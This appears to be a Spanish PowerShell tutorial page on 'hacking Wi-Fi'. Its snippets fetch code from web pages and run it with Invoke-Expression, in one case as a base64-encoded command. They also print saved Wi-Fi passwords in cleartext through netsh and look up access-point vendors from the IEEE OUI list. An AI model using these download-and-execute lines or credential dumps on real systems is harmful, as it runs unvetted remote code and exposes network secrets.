Wireless communication is the transfer of information or power between two or more points that are not connected by an electrical conductor. The most common wireless technologies use radio. With radio waves distances can be short, such as a few meters for television or as far as thousands or even millions of kilometers for deep-space radio communications
1 2 3 4 | $url="http://www.jesusninoc.com/2017/01/24/hackear-wifi-con-powershell-script-codificado-en-base64/" $result = Invoke-WebRequest $url [String]$execute=$result.AllElements | Where class -eq 'crayon-pre' | %{$_.innerText} Invoke-Expression "powershell -encodedcommand $execute" |
1 2 3 4 | $url="http://www.jesusninoc.com/2017/01/15/hackear-wifi-con-powershell/" $result = Invoke-WebRequest $url [String]$execute=$result.AllElements | Where class -eq 'crayon-pre' | %{$_.innerText} Invoke-Expression ($execute) |
Versión reducida
1 | Invoke-Expression ((iwr "http://www.jesusninoc.com/2017/01/15/hackear-wifi-con-powershell/").AllElements | Where class -eq 'crayon-pre' | %{$_.innerText}) |
1 | (netsh wlan show interface | Select-String SSID)[0] | %{[String]$SSID=$_;$SSID=$SSID.replace("SSID","").replace(":","").trim();$SSID;netsh wlan show profile name=$SSID key=clear | Select-String 'Contenido de la clave';} |
1 2 3 4 5 6 | (netsh wlan show interface | Select-String SSID)[0] | %{ [String]$SSID=$_; $SSID=$SSID.replace("SSID","").replace(":","").trim(); $SSID; netsh wlan show profile name=$SSID key=clear | Select-String 'Contenido de la clave'; } |
1 2 3 4 5 6 | (netsh wlan show profile | Select-String "Perfil de todos los usuarios") | %{ [String]$SSID=$_ $SSID=$SSID.Split(":")[1].trim() $SSID netsh wlan show profile name=$SSID key=clear | Select-String 'Contenido de la clave' } |
1 2 3 4 5 6 7 8 9 10 11 12 | $macwifi=netsh wlan show networks mode=bssid | Select-String '([0-9A-F]{2}[:]){5}([0-9A-F]{2})$' | % {$_.matches} | Select-Object value #Descargar el fichero que contiene información sobre los fabricantes #IEEE offers Registration Authority programs or registries which maintain lists of unique identifiers under standards and issue unique identifiers to those wishing to register them. Start-BitsTransfer http://standards-oui.ieee.org/oui.txt -Destination D:\power\oui.txt $fichero=gc D:\power\oui.txt foreach($mac in $macwifi.value) { $mac.ToUpper() $fichero | Select-String ($mac.Substring(0,8).replace(':','')).ToUpper() } |
El siguiente método (petición al servicio IEEE) ya no funciona
1 2 3 4 5 6 7 8 9 10 11 12 13 | $macwifi=netsh wlan show networks mode=bssid | Select-String '([0-9A-F]{2}[:]){5}([0-9A-F]{2})$' | % {$_.matches} | Select-Object value foreach($mac in $macwifi.value) { $mac $url=”https://services13.ieee.org/RST/standards-ra-web/rest/assignments/download/?registry=MA-L&format=html&text=”+$mac.Substring(0,8).replace(':','') $url $result='' Start-Sleep -Seconds 10 $result=Invoke-WebRequest $url #Here are the results of your search through the public section of the IEEE Standards MA-L database report for MAC ($result.AllElements | Where tagName -eq “PRE”).outerText } |
1 | netsh wlan show profiles |